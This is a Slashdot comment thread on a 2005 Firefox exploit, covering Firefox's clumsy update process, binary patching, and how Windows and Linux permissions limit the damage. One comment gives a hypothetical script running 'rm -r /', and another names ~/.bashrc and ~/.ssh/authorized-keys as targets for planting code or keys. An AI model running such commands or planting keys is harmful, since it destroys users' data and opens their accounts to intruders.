  6. Re:This is getting really old by Curtman · · Score: 1

    Why cant these people just get a life.

    Which people?

  7. Pretty serious exploit by esconsult1 · · Score: 1
    Already Firefox tends to be around 45% of traffic across my sites, so this is going to affect a lot of users.

    1. Re:Pretty serious exploit by Barryke · · Score: 1
      Already Firefox tends to be around 45% of traffic across my sites, so this is going to affect a lot of users.


      1) starting up IE [found it]
      2) visiting your site [found it]
      3) why am i visiting? its no use. [got it]
      --
      Hivemind harvest in progress..
    2. Re:Pretty serious exploit by Mathiasdm · · Score: 5, Funny

      You converted 45 % of your family to Firefox?

      --
      Join the anonymous, help develop the network: http://www.i2p2.de
    3. Re:Pretty serious exploit by Anonymous Coward · · Score: 0

      So all of those users using your sites are going to be affected? Stay away from www.w3matter.com !!!

    4. Re:Pretty serious exploit by Anonymous Coward · · Score: 0

      barrystaes: your website looks wonderful ... echt!

    5. Re:Pretty serious exploit by galdur · · Score: 1

      err ... you mean you've got an exploit on your site...?

    6. Re:Pretty serious exploit by woah · · Score: 1
      That'd be some pretty big family.

      20+ people.

    7. Re:Pretty serious exploit by Anonymous Coward · · Score: 0

      Some people are lucky enough to count "family" as going back three generations. In addition, 4/9 is close enough to 45%.

    8. Re:Pretty serious exploit by Anonymous Coward · · Score: 0

      mother, father, wife, sons, daughters, brothers, sisters, aunts, uncles, grandparents, nephews, nieces, in-laws, cousins, grandchildren, illegitimate children, step children, step parents. Unless you were some science project spontaneously created and fruitless your family contains billions of members.

    9. Re:Pretty serious exploit by Barryke · · Score: 1

      :) thanks! show yourself! jij bent?

      --
      Hivemind harvest in progress..
  8. Yup - secure... by Anonymous Coward · · Score: 5, Interesting

    Maybe it's time to accept Firefox has it's fair share of exploits?

    And the best part, is the patch management system in Firefox is so damn poor (ie. non-existant), getting these patches distributed to end-users is a real damn chore (assuming they are distributed at all).

    1. Re:Yup - secure... by tomjen · · Score: 2, Insightful

      Well from what i could see, it uses javascript, so i just turned it off.

      --
      Freedom or George Bush
    2. Re:Yup - secure... by Ithika · · Score: 2, Informative
      You're right, I'm gonna have real difficulty pressing those little green and red arrows in the corner of the window when the time comes for the new release. Oh boy, I'm sweating at the thought of the trials that await me! I'll probably need to lie down after that, it being so difficult and complicated and all.

      Woe is us.

    3. Re:Yup - secure... by Anonymous Coward · · Score: 0

      Yay plain old HTML gmail!

    4. Re:Yup - secure... by cloudmaster · · Score: 1

      That little "updates are available" icon that shows up in the corner when updates are available - it's just a figment of your imagination. And the ease of clicking on the icon and then on "ok", why, even if the icon was real? That whole process would be far too difficult for the average computer user to deal with - if it wasn't non-existant.

      I sure hope the patches to this *open source* browser are distributed, <sarcasm>instead of being hidden from the public like most fixes to open-source stuff</sarcasm>.

    5. Re:Yup - secure... by Anonymous Coward · · Score: 1, Interesting
      > Well from what i could see, it uses javascript, so i just turned it off.

      Why am I not surprised that Javascript is at the root of yet another security hole?

      Does anybody leave this shit on anymore these days?

    6. Re:Yup - secure... by Jugalator · · Score: 1

      You're right, I'm gonna have real difficulty pressing those little green and red arrows in the corner of the window when the time comes for the new release. Oh boy, I'm sweating at the thought of the trials that await me! I'll probably need to lie down after that, it being so difficult and complicated and all.

      Woe is us.


      You may care about this, but not the user that doesn't monitor security sites or Slashdot, and just cares if s/he can browse CNN.com properly, and so on.

      Woe is them.

      --
      Beware: In C++, your friends can see your privates!
    7. Re:Yup - secure... by David+Horn · · Score: 1

      Yeah, but even that isn't an ideal solution. It requires re-downloading and installing FireFox, and it can't even be bothered to clean up after itself. (NO - I don't like the FireFox Installer left on my desktop!)

      At least with IE the patches are less than 1MB in general and don't require a whole reinstall of the browser.

      --
      PocketGamer.org - For the gamer on the go!
    8. Re:Yup - secure... by weave · · Score: 1

      And you don't have to reboot after updating firefox!

    9. Re:Yup - secure... by Anonymous Coward · · Score: 3, Insightful

      You are forgetting something, though:

      Current Firefox installers are not able to update a previously installed Firefox. I updated from 1.0.1 to 1.0.2 by pressing on the red arrow. The new version was fully downloaded (great for modem users, who need patches anyway?), installed, and the result was two Firefox versions installed according to Windows Add/Remove program...

      The nice thing is that if you checked the mozillazine forums, people complaining about the crappy way the updater worked were told that they should have know that they had to manually download the update, uninstall the previous firefox version, and install the new one.
      Yeah, how come I didn't know that clicking on update wasn't the way to update Firefox! Silly me :P

    10. Re:Yup - secure... by cortana · · Score: 1

      The user doesn't need to. Firefox polls for updates every so often all by itself.

    11. Re:Yup - secure... by mytec · · Score: 1

      There's this thing called system administration across a group of networked machines. The parent poster probably understands that concept.

      For your needs your response is seemingly suitable. Others need more out of Firefox in a more manged fashion to which Firefox doesn't offer very much.

    12. Re:Yup - secure... by Gordonjcp · · Score: 0, Troll
      You may care about this, but not the user that doesn't monitor security sites or Slashdot, and just cares if s/he can browse CNN.com properly, and so on.


      Oh, don't be so bloody stupid. What about the poor car drivers who don't know that a red light at a junction means they should stop so they don't get flattened by a truck?

    13. Re:Yup - secure... by Anonymous Coward · · Score: 0

      The user doesn't need to. Firefox polls for updates every so often all by itself.

      It may poll for updates, but it doesn't install them. I can guarantee that the vast majority of users do not click the red or green update icon. Imho it's a huge security bug that firefox doesn't install security updates automatically by default. Sure, for the paranoid provide a way to turn it off, but for the average webuser, you HAVE to "just work".

    14. Re:Yup - secure... by Deathlizard · · Score: 5, Insightful

      Patching is something where Firefox really needs to catch up on.

      One of the advantages of IE is that when an exploit comes around you just send everyone a 300k file instead of 20MB of browser. With Firefox, you have to send them an entire browser every time 1 exploit comes out.

      What Firefox needs is some sort of patching element built in to deal with patching the browser instead of forcing a complete downoad. It's not that Firefox cant do this. In fact, since most of the code is spread out across many files it should be a cakewalk to just update the affected file(s) automaticially with little to no user intervention. This would keep the file size download to a very minimum, allow it to update more frequently without waiting for a point release, and be easier to handle for people who dont know or care about security issues.

    15. Re:Yup - secure... by cortana · · Score: 1

      You're probably correct there. I make a point of telling all the people I install it for that they must update whenever the red circle appears. It would be better if Firefox itself placed some text beside it such as "Critical updates available--click here to protect your computer".

    16. Re:Yup - secure... by drsquare · · Score: 1

      Well, that's a lie. I use Firefox, have done for nearly a year, it's never told me about any updates or patches at all. The 'check for updates' thing in the extensions window doesn't bring anything back. Where exactly do I get these simple, semi-automatic updates?

    17. Re:Yup - secure... by colinramsay · · Score: 1

      That is accepted. Even by the Firefox devs.

    18. Re:Yup - secure... by cortana · · Score: 0, Troll

      If you had been more polite, I might have had some suggestions. But since you weren't, please fuck off to google.com.

    19. Re:Yup - secure... by aldoman · · Score: 4, Insightful

      The problem is that it:

      a) Only works on Windows,
      b) Makes you install the entire installer again instead of a 'diff'-style patch,
      c) The installer is nearly 5MB, which means it's too big for most to download on 56k or GPRS

      Another problem with the 1.0.1, 1.0.2 and 1.0.3 updates is that they all required 'staggering' based on language becuase MozFo doesn't have the sort of server infrastructure to serve millions of downloads at once.

    20. Re:Yup - secure... by Anonymous Coward · · Score: 0

      I've never actually seen someone operate with it off.

    21. Re:Yup - secure... by ColaMan · · Score: 2, Interesting

      Well, that's a lie.

      That's a bit harsh.
      Perhaps you could simply state that "that's not what I experience". Especially since my version (1.0_RC6) told me about 1.03 the other day.

      But, perhaps you should look under "Tools -> Options -> Advanced -> Software Update"

      --

      You are in a twisty maze of processor lines, all alike.
      There is a lot of hype here.
    22. Re:Yup - secure... by Anonymous Coward · · Score: 0

      Don't be silly. This is a hoax. Firefox is open source which means that it is well code reviewed and so has no bugs or security holes. And why would you need to patch open source software? It comes off the internet perfect.

    23. Re:Yup - secure... by strider44 · · Score: 1

      it doesn't work on linux because Firefox is updated with the rest of the system when you run apt-get upgrade (or your distro equivalent).

    24. Re:Yup - secure... by Stregone · · Score: 1

      Would a diff style patch work even if firefox was compiled with different options or something?

    25. Re:Yup - secure... by Ithika · · Score: 1

      That much is true... I've never used the update button for my own system, I let portage sort it all out. But some binary patching system would probably help, although it would probably require lots of patches for all the different versions. It's probably just easier for the Mozilla Foundation to just let it fetch the complete binary.

    26. Re:Yup - secure... by Mold · · Score: 2, Informative

      It puts a little red icon in the upper right-hand corner when an update is available. You click on it to get the newest version. It does this for me on both Windows and Linux.

      Seems simple enough to me.

    27. Re:Yup - secure... by starwed · · Score: 5, Informative

      This is already being worked on and should be in 1.1. ^_^ Check out ben's blog about it.

      A quote: "Darin has figured out how to get binary patching working, and is working on a system for incremental background update download."

    28. Re:Yup - secure... by antiMStroll · · Score: 1

      Firefox is 4.7 meg, you leave the impression an update is a 20 meg download.

    29. Re:Yup - secure... by Anonymous Coward · · Score: 0

      Sure, it only requires a complete reboot. Wheras Firefox I don't have to reboot for.

    30. Re:Yup - secure... by drsquare · · Score: 1

      I've never seen a little red icon in the upper-right corner, and surely after all these months there must be an update available, I read about them on slashdot all the time. The 'check for updates' things just hangs, or gives me some incomprehensible error about 'DOM', whatever the hell that is.

    31. Re:Yup - secure... by Anonymous Coward · · Score: 0

      A 300k file, but you still need to reboot.

    32. Re:Yup - secure... by Anonymous Coward · · Score: 0

      I would have agreed with ypu, except that I have just finished re-installing firefox after having had an automatic update of an extension go wrong. I had to completly delete all files including my profile(s) before I could get it working again.

    33. Re:Yup - secure... by khoury.brazil · · Score: 1

      You may have an older version that doesn't have this. If I remember correctly they didn't have the little buttons until fairly recently. Considering how many exploits have come out since then, you may want to consider running over to mozilla's site and getting an updated version.

    34. Re:Yup - secure... by zippity8 · · Score: 1

      But if that happened, it would hurt the great PR when Firefox reaches each new milestone!

    35. Re:Yup - secure... by Anonymous Coward · · Score: 0

      From what I've seen in 1.0.3, a message window pops up in the bottom right corner as well (just like when you're notified on a completed download), stating New Updates are available. I was pleasantly surprised. The update I had at the time was for the FireFTP extension.

    36. Re:Yup - secure... by Anonymous Coward · · Score: 0

      Gee, aren't you friendly today? It looks like the format of the update notification(which is in XML, I believe, but I could be wrong) is different from what it expects, which is what is causing it to hang. An upgrade, obviously, would fix this.

    37. Re:Yup - secure... by Hard_Code · · Score: 1

      Apparently updating uses the same attack vector as the exploit itself so if you turned off the feature that allows sites to "install software" then you don't get to use your little buttons.

      --

      It's 10 PM. Do you know if you're un-American?
    38. Re:Yup - secure... by Jugalator · · Score: 4, Interesting

      I'm running Firefox 1.0.2 and it displays:

      1. No update notification
      2. No red blob in a corner.
      3. No dialog box telling something new is available.

      The feature seems unreliable at best.

      --
      Beware: In C++, your friends can see your privates!
    39. Re:Yup - secure... by Jugalator · · Score: 1

      Oh, don't be so bloody stupid.

      Don't tell me; I'm already a Slashdot visitor. But I can assure you a few of the 50 million users need telling "don't be so bloody stupid", though. At least as long as this update feature is as unreliable as it seem to be. (I'm not told 1.0.3 is available for example)

      --
      Beware: In C++, your friends can see your privates!
    40. Re:Yup - secure... by DarkAvZ · · Score: 1

      Not at all! I think this is the fundamental problem, instead of not having the infraestructure to serve that amount of download.

      --
      09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    41. Re:Yup - secure... by Deathlizard · · Score: 1

      I was commenting more about IE size than Firefox Size. Even at 4.7 meg, to someone on a dial up that's a good 10-20 minute download.

      Patching would help Firefox immensly, especially if the only difference between 1.03 and 1.04 is a 200-300k file or set of files. You could send browser updates much faster than before with less bandwidth cost on the mozilla project, and use the option of a full download when it's only absoletly or practially necessary to do so.

      From what someone said in this thread, Firefox is getting something soon like this. That's definetly a step in the right direction.

    42. Re:Yup - secure... by mr_lizard13 · · Score: 1

      The download counter does not count the setup files downloaded via the update mechanism

      --
      "We live in a global world" - Harvey Pitt, former Securities and Exchange Commission Chairman
    43. Re:Yup - secure... by Anonymous Coward · · Score: 0

      Huh? -- you can bet that 99% of the non-Linux users are using the official binary and not specially compiled versions. And 99% of Linux users will download it from their distro's mirrors, not mozilla.org.

    44. Re:Yup - secure... by Anonymous Coward · · Score: 0

      a) that's OK, updates on Linux are handled by system, not by applications (apt, up2date, yum, etc)

      b) that fine with me, because I end up with installer for always-latest version, instead of bazillion incremental patches, that are of similar size anyway

      c) 4.5MB is fine over GPRS (and I'm stuck with class 6 cellphone, thank you Nokia for what did you put into your symbian offers).

    45. Re:Yup - secure... by Anonymous Coward · · Score: 0

      5 meg is 12 1/2 minutes at 56k so it is not too much at all. GPRS can go to 128k IIRC, again not too much.

    46. Re:Yup - secure... by HermanAB · · Score: 2, Funny

      Uh, you mean, you just send everyone a 300MB file, instead of a 20MB browser - have you seen the size of SP2???

      --
      Oh well, what the hell...
    47. Re:Yup - secure... by Anonymous Coward · · Score: 0

      Yeh, your strategy worked real well for keeping Windows secure didn't it? All those nicely patched windows boxes :) Its REAL difficult for those users to click that little globe in the bottom corner. Real difficult.

    48. Re:Yup - secure... by Anonymous Coward · · Score: 0

      "You're right, I'm gonna have real difficulty pressing those little green and red arrows in the corner of the window when the time comes for the new release."

      Firefox's update feature has failed on every machine I've used it on, on every firefox version since it was created, on linux and windows. In each case, it gets to the "downloading updates" screen and stays there for hours, with a greyed-out cancel button and no progress.

      So it's nice to hear a smartass gloating about how easy it is to update.

    49. Re:Yup - secure... by AnyoneEB · · Score: 1

      You could just run FireFox in Safe Mode and uninstall the offending extension.

      --
      Centralization breaks the internet.
    50. Re:Yup - secure... by Anonymous Coward · · Score: 0

      This is supposed to be addressed in Firefox 1.1

    51. Re:Yup - secure... by J.+T.+MacLeod · · Score: 1

      This has been fixed as of 1.0.3 :)

      Finally!

    52. Re:Yup - secure... by Mr+Europe · · Score: 2, Insightful


      a) Only works on Windows,

      So does the virus....

    53. Re:Yup - secure... by Anonymous Coward · · Score: 0

      this is not 100% accurate, there was at least one patch which was provided using a tiny xpi file. It was probably ff1.0.2.

      as it happens, the engine does support incremental library (.so/.dll/.dylib) updates, but the packaging system doesn't provide them and the ff build hackers don't like the sizes of those patches, so a current priority is to update the binary patching system.

    54. Re:Yup - secure... by Anonymous Coward · · Score: 0

      SP2 is a patch for an OS, not a web browser.

    55. Re:Yup - secure... by mortis2600 · · Score: 2, Insightful

      Wow, that's incredibly wrong. When a patch is available for firefox, it tells you and all it takes is 3 clicks and you're patched. Just restart the browser and you're set. Christ, one major flaw and suddenly it's "so insecure" How many critical exploits has MSIE6 had since it's time in circulation? Why is it, no matter how patched it is, there are hundreds of types of malware that exploit MSIE6's ActiveX and other poor security structures to install themselves on the end users computer? Yeah.. Firefox is far more secure than MSIE6 and MS knows this. Thus, why they're trying to push out MSIE7 ASAP. Yep.. because MSIE is so secure. heh.. whatever.

    56. Re:Yup - secure... by gnarlin · · Score: 1

      I own a car. Every now and again I have to put some more oil, regularly fill it with petrol, make sure that there is enough windscreen cleaning liquid, wash it etc.

      The point being that if I don't take care of my car it's going to brake down. There are a lot of people who just don't bother to do anything for their car. Sooner or later it will therefore break down. We need to maintain our systems and if people are to lazy or ignorant to do anything about that then they can only blame themselves.

      --
      A bad analogy is like a leaky screwdriver.
    57. Re:Yup - secure... by Anonymous Coward · · Score: 0
      You may care about this, but not the user that doesn't monitor security sites or Slashdot, and just cares if s/he can browse CNN.com properly, and so on.

      So? Fuck 'em. Who cares about their computers?

    58. Re:Yup - secure... by SanityInAnarchy · · Score: 2, Informative

      And IE is more secure how?

      Windows update is worse. It'll force you to reboot your whole computer, not just your browser. And you still have to click the little button on most computers.

      --
      Don't thank God, thank a doctor!
    59. Re:Yup - secure... by Anonymous Coward · · Score: 0

      Sp2 is a patch for an OS integrated with a web browser. IE updates require service pack downloads. Sp2 is no exception.

      Maybe if Microsoft hadn't been so insistent on integrating the two, the anti-Firefox crowd would have an argument. As it stands, they don't.

    60. Re:Yup - secure... by karstux · · Score: 2, Informative

      Problem is, this little red icon isn't supported by all skins. I use the "SomeOrbitYellow" theme, and have never seen this icon - it's there and clickable, but invisible.

      --
      Don't whistle while you're pissing.
    61. Re:Yup - secure... by tukkayoot · · Score: 1
      I'll agree that the Firefox updater could use a lot of work, but ...

      c) The installer is nearly 5MB, which means it's too big for most to download on 56k or GPRS

      ... this seems a bit exaggerated. "Most" people can't wait 25 minutes or so for an update to download?

    62. Re:Yup - secure... by MaDeR · · Score: 1

      Really? I'll wait for 1.0.4, install it from red arrow and THEN believe.

      --
      What modern Obelix would say today? Of course, "Those crazy Americans!".
    63. Re:Yup - secure... by Finuvir · · Score: 4, Informative

      Firefox 1.1 will have support for binary patches, meaning no more full application download to fix a single bug.

      --
      Why is anything anything?
    64. Re:Yup - secure... by westyvw · · Score: 1

      ITEM B:

      I dont like the way Mozilla updates either, a full binary is a bit extreme.

      BUT to say that a 5MB file is too big for a dial up user is rediculous. If they are used to getting MS updates this will seem like nothing.

      Seriously, 5MB is only about 15 minutes at 56k. Thats no big deal.

    65. Re:Yup - secure... by noidentity · · Score: 1

      The installer is nearly 5MB, which means it's too big for most to download on 56k or GPRS

      Fifteen minutes is too long for a download?

    66. Re:Yup - secure... by darkmeridian · · Score: 1

      Good points.

      In Firefox 1.1, there is a planned feature that will allow for resuming stopped/interrupted downloads. This would allow for differential patches rather than entire new downloads. With this feature (and reduced stresses on the server) the infrastructure probably can update everything.

      And let's remember, 5 megs is smaller than some of the IE patches I've downloaded. (Really.)

      --
      A NYC lawyer blogs. http://www.chuangblog.com/
    67. Re:Yup - secure... by bergeron76 · · Score: 1

      Is this desireable? I wonder if this will open up a can of worms with regard to extensions. I enjoy my FF extensions as much as the core browser itself (weather, webdevel, etc).

      I hope that binary incrementals don't wreak havoc on extensions.

      --
      Don't think that a small group of dedicated individuals can't change the world. It's the only thing that ever has.
    68. Re:Yup - secure... by jabberwocky_rt · · Score: 1

      I'm running 1.0.3 (on win98 for cryin' in the mud) and don't get anything either.

      Not to call FUD too early, but I have a feeling this won't affect too many people, even if others start trying to exploit it.

    69. Re:Yup - secure... by Anonymous Coward · · Score: 0

      You're stupid. He's saying that even though he isn't running 1.0.3, he isn't getting the update icon to tell him to upgrade to 1.0.3.

    70. Re:Yup - secure... by Rakishi · · Score: 1

      There are various pre-compilled binaries not by Mozilla for Windows, so its not that much harder than using the official version.

    71. Re:Yup - secure... by kesuki · · Score: 1

      MozFo doesn't have the sort of server infrastructure to serve millions of downloads at once.
      Then use Bittorrent ;) if you've only got the bandwith to serve oh say 10,000 users at a time, make the updated a bittorrent front end of some kind, and then you spread the load using whatever rules you've got the dedicated 'super seeds' (aka mirrors) running on, and viola, those 10,000 people upload to another 10,000 people, maybe not completely, but the beauty of torrent is scalability, if you have 30 million people trying to download the same torrent, that means you have 30 million mirrors ;) even if you can normally only serve 10,000 users with normal http etc, configured properly the people with the fastest connections will finish the dleds the fastest, and from the main mirrors, while the slow dial up users grab bits and pieces from anyone else, until the dedicated mirrors have free bandwith available.
      Of course they still need to get the patch sizes to be as small as possible... but bit torrent kinda takes away the 'scalability' issue to a certain extent.. if you can only have X bandwith on y servers... and that's what's limiting you, bittorrent will allow you to update everyone at once. I know, azureus wanted to update the other day, and even though 10,000 other people were downloading it, I successfully leached the update torrent with about a .1 share ratio...
      Remeber, even microsoft has issues serving it's updates, especially the big service packs to everyone.. but bit torrent could esentially be the solution that lets a small company bring the whole internet to a crawl, as everyone trying to download the update becomes a mirror to upload the update to everyone else... thus allowing complete network saturation ;) unfortunately, the effects would be but a momentrary blip, as you'd have to be sharing some pretty large automatic updates that are continually being revised to continously saturate the internet ;)

    72. Re:Yup - secure... by Anonymous Coward · · Score: 0

      Tools->Options->Advanced, scroll down until you see a button labeled "check now" press it. That should get you any available updates.

    73. Re:Yup - secure... by Ogerman · · Score: 1

      I'd rather see this fixed in 1.0.4 or ASAP. It can't be that difficult to implement.. it's just a simple update manager and it only needs to work in Windows anyhow. Linux distros have their own update mechanisms. (although a popup reminder might be good.. "an update is avail.. [howto message customized by the distro here]")

      While "many eyes" will eventually help Firefox to become almost perfectly secure, it is still a very young piece of software. The Moz. team really should have anticipated future problems and built a proper update manager *before* releasing it unto the general public. Being less buggy than IE is half the marketing drive. This is not a reputation that can stand the risk of being tarnished.

      So, if anyone on the Moz team is listening, here's my vote to fix the update manager immediately instead of waiting 6mo+ for version 1.1. I don't even use Windows anymore, but I want to see my Windows-using friends continue to use Firefox.

    74. Re:Yup - secure... by j1m+5n0w · · Score: 2, Interesting
      Patching is something where Firefox really needs to catch up on.

      I disagree, I think patching should be handled by the OS, not each application. The last thing I want is every application in my system to upgrade itself spontaneously according to some independently implemented mechanism and policy. I also don't think it's a good idea in general for applications to run in a context in which they are allowed to rewrite themselves. (I'm a linux user - I don't know enough about Windows to know if a robust whole-system auto update mechanism is available to non-Microsoft applications. If not, I can see why such a feature would need to be implemented out of necesity.)

      I do agree that we should be using binary diffs whenever possible rather than sending whole packages. Yum is an amazing resource hog, it would be great to reduce its bandwidth usage.

    75. Re:Yup - secure... by Gordonjcp · · Score: 1

      I agree that it can take some time for updates to show as available, but it's not like it's a difficult thing install. My incredibly non-technical 60-something-year-old mother can handle upgrading Firefox. The instructions I gave her were "if a little red arrow appears at the top, click it and follow the instructions", which seems to have been enough.

    76. Re:Yup - secure... by Finuvir · · Score: 1

      1.0.x releases are for security fixes, not features. This new update mechanism is a major new feature. We're due an alpha release of 1.1 really soon, so 1.1 final is nowhere near 6 months away.

      --
      Why is anything anything?
  9. Nasty by bustersnyvel · · Score: 3, Insightful

    That's nasty! I'm glad that in Linux files aren't automagically executable when you give them a certain name :)

    1. Re:Nasty by Anonymous Coward · · Score: 0

      Shell scripts without execute permission can still be executed by running "sh filename" in the same way Perl or PHP scripts can be run.

    2. Re:Nasty by Anonymous Coward · · Score: 0

      Not by this exploit! Face it, this isn't a mozilla exploit so much as a windows design problem.

    3. Re:Nasty by Anonymous Coward · · Score: 1, Insightful

      More exactly, it's a mozilla issue that exploits a windows design problem.

    4. Re:Nasty by cortana · · Score: 1

      Incorrect. You are executing sh, which is doing its own thing in interpreting the file 'filename'.

      Attempting to execute 'filename' directly will yield 'permission denied'.

    5. Re:Nasty by Anonymous Coward · · Score: 0

      This exploit gives the attacker full chrome access. The proof of concept is only one of many ways to use this power. When an attacker gets full XPConnect rights, the game is over and Linux isn't going to save you.

    6. Re:Nasty by cortana · · Score: 5, Informative

      Unfortunately, the exploit could have just as easily created a file starting with #!/bin/sh, and passed 555 as the 'permissions' argument to createUnique.

      Why on earth the browser thinks it's necessary to allow scripts to create executeable files is beyond me.

    7. Re:Nasty by jurt1235 · · Score: 1

      On windows people need to start this program too, but overwrite the calculator and at a certain moment they will start this.
      File execution rights on linux tend to stay too when the file already exists. Overwrite bash (user is logged in as root (happens enough)) and you can create havoc.

      --

      My wife's sketchblog Blob[p]: Gastrono-me
    8. Re:Nasty by zootm · · Score: 1

      Because XPConnect-enabled scripts run the entire frontend of the system. They need to do a lot of these things -- most extensions are written purely in JavaScript. The problem here is that it's interpreting JavaScript code in a certain part of a webpage as being allowed to access XPConnect, whereas only files in the Chrome repository should be allowed to do this.

    9. Re:Nasty by jdog1016 · · Score: 1

      True, but unlike in Windows, it also wouldn't have superuser privileges.

    10. Re:Nasty by Anonymous Coward · · Score: 0

      I made no incorrect statements. The file is interpreted by the shell and hence executed. There is no significant difference between running "./filename" which contains a #!/bin/bash header and execute permission or running "sh filename" without.

      I made no claim that this could be used in the exploit. I am just showing that not having execute permissions on a malicious file gives you little protection.

    11. Re:Nasty by cortana · · Score: 5, Informative

      Well, in Windows it would only have administrator priviliges if the user was dumb enough to run Firefox as an administrator. ;)

    12. Re:Nasty by cortana · · Score: 1
      > There is no significant difference between running "./filename" which contains a
      > #!/bin/bash header and execute permission or running "sh filename" without.

      Now this is true, but the script is not being executed. The file specified in the #! header is the one that is being executed. When you try to exec() a script, the kernel sees the #! header, and executes whatever program it finds there, with the path to the script as the first argument.

      The program actually being executed doesn't have to do anything with its arguments, though of course it normally does, otherwise there's not much point putting it in a #! line. :)

      For example, here's how to create the cheapest quine of all time:

      echo "#! /bin/cat" > quine
      chmod +x quine
      ./quine
    13. Re:Nasty by Anonymous Coward · · Score: 0

      > but the script is not being executed

      Thank you oh great hair splitter for that nonpoint.

      The commands in the script can be executed without the execute bit, and that's what matters.

    14. Re:Nasty by cortana · · Score: 1

      > Thank you oh great hair splitter for that nonpoint.

      You know, if you don't understand the finer points of a discussion about security measures, you shouldn't open your mouth.

      > The commands in the script can be executed without the execute bit, and that's
      > what matters.

      No they can't.

      Mozilla is able to create a file, containing harmful commands, with the correct #! header. Fine. However, if you actually read the exploit code, you will see that the call to file.launch() will fail. This is because the file doesn't have the execute permission!

      On Windows, of course, whether a file can be executed is determined by the file's name--a rather moronic system if you ask me, but you don't need to--you merely need to look at the constant waves of epidemics striking users of that platform.

    15. Re:Nasty by Anonymous Coward · · Score: 0

      By default the only user on a windows machine is admin. users don't even know there is a separation, therefore they don't know they shouldn't be doing it. Those that do know don't want the separation as it makes playing some games impossible without full admin permissions, and installing new software awkward.

    16. Re:Nasty by Anonymous Coward · · Score: 0

      Most people in windows DO run as a user with administrative privileges.

      Have you tried using windows for any period of time without having admin privs? You'll be swearing everytime you try to do something and it fails because you have insufficient privs.

      Of course, if all you do is read email and surf a few sites, you won't have a problem, but start trying to do something 'esoteric' like installing software, and whoa baby!

    17. Re:Nasty by Anonymous Coward · · Score: 0

      ah, so that is how redhat made havoc. create your own super developer, instructions available on /.

    18. Re:Nasty by Anonymous Coward · · Score: 0

      Are you deliberately being stupid, or were you born that way? Just rewrite the exploit to launch bash with the name of the script as a parameter. Doesn't seem so hard. Likely nobody will bother because Linux is unpopular.

    19. Re:Nasty by Kilz · · Score: 1

      How often dose the avrage windows user install software? Not that often, unless you count malware. Its easy to switch users , install the software, and sitch back when you have to.

      --
      I trust Microsoft as far as I could comfortably spit a dead rat
    20. Re:Nasty by cortana · · Score: 1

      Could you please give details on the APIs that Mozilla exposes to web pages to allow them to launch arbitary commands?

      The entire thing is only an issue because of Windows' braindead filename = filetype = ability to execute system.

    21. Re:Nasty by Anonymous Coward · · Score: 0

      Oh, so that's why everyone yells at me and tells me how hard their computer is to use when they take my suggestion of using a limited user account for daily tasks. Add that to the fact that we still have FUCKING BRAIN DEAD PROGRAMMERS out there who write software that only works right with admin privs and you end up with real usability problems with limited user accounts. Any IT person who buys software that requires admin privs for no good reason should be fired. Vendors love to take your money but they aren't going to take responsibility when the sacrifices you make in security by using their rotten products end up costing you money. Demand more.

    22. Re:Nasty by Anonymous Coward · · Score: 0

      http://www.xulplanet.com/references/xpcomref/xpcom ref1.0/nsIProcess.html

      If one can call file.launch(), it's one extra step to call process.run().

      And Gnome & KDE provide the same "braindead" launch features as Windows. FF would take advantage if it wasn't for the dis-integrated nature of the Linux desktop.

    23. Re:Nasty by cortana · · Score: 1

      Doh! Nasty.

      If you're talking about the .desktop file vulnerabilities, you're right. It was discussed a while ago on xdg-list, but it seems no one important enough at freedesktop.org thought it was worthwhile fixing the specification. Idiots!

    24. Re:Nasty by cortana · · Score: 1

      I found the thread, it's at http://lists.freedesktop.org/archives/xdg/2005-Mar ch/006224.html. I unsubscribed in disgust shortly afterwards. IMHO this is pretty damn serious, but nothing's been done about it, in favour of waiting for SELinux to be integrated into desktop distributions. Maybe that will be a sensible solution in about 15 years...

    25. Re:Nasty by maxwell+demon · · Score: 1

      What about files like ~/.bashrc, ~/.cshrc or ~/.emacs? Those need not be explicitly called, because they will be executed implicitly as soon as the next bash, csh or (X)Emacs is started.

      Another interesting file is .Xauthority. While it doesn't contain any executable files, it would allow to connect to your X session (and e.g. grab images of what you are doing, and send synthetic events to X programs). Even more interesting could be ~/.ssh/authorized-keys. The security given by .ssh is compromized if anyone can write his own key into that file.

      So even if you cannot execute a file directly, there are a lot of interesting things you can do if you get unlimited write permission in the user's home directory.

      --
      The Tao of math: The numbers you can count are not the real numbers.
    26. Re:Nasty by pommiekiwifruit · · Score: 1

      Let me tell you about a small insignificant company called "Electronic Arts". They write these programs called "games", which apparently non-linux users have the opportunity to run. They require administration rights to run, let alone install. Lots of games (alas) also use "copy-protection". This also usually requires administration rights.

    27. Re:Nasty by Kjella · · Score: 1

      Any IT person who buys software that requires admin privs for no good reason should be fired.

      Employees don't have many problems with in, since corporate products are already aware of this problem. It is every sort of stupid little software that requires admin privs because they write to HKLM instead of HKCU and such that are problematic.

      And the people installing them are not IT people. If they run into a problem, they take the path of least resistance. If that means running as admin, they will.

      Also don't underestimate the problem of software that simply *won't* let you install it for all users, meaning you have to do shit manually and add shortcuts and whatnot to allow normal users to run it.

      Kjella

      --
      Live today, because you never know what tomorrow brings
    28. Re:Nasty by grolschie · · Score: 1

      Are you deliberately being stupid, or were you born that way? Just rewrite the exploit to launch bash with the name of the script as a parameter. Doesn't seem so hard. Likely nobody will bother because Linux is unpopular.

      Ok Mr Troll, I'll play along. Lets say some hacker x launches a linux shell script (bash, sh, tsch, whatever) via this exploit that contains "rm -r /". Minimal damage it will do unless you are logged in as root. In a Windows home pc environment, most users are administrators. uh oh!

    29. Re:Nasty by Anonymous Coward · · Score: 0

      Why should a program with such a potential for exploits as a browser be able to trash your home directory?

      Personally I always run Mozilla in a FreeBSD jail, so even if my browser was exploited the damage it could do would be limited to the jailed environment. It is also easier to monitor a jail for exploits than it would be to monitor the "host".

      Setting up a jail is straightforward in FreeBSD. I have no idea of how hard it would be to chroot a browser in Linux - but surely it can be done.

      Let the windows crowd gloat over the unevitable security holes in Firefox and Mozilla, and let us show them the real power of *nix! It's not only about secure programs, we have other lines of defense also.

    30. Re:Nasty by jdog1016 · · Score: 1

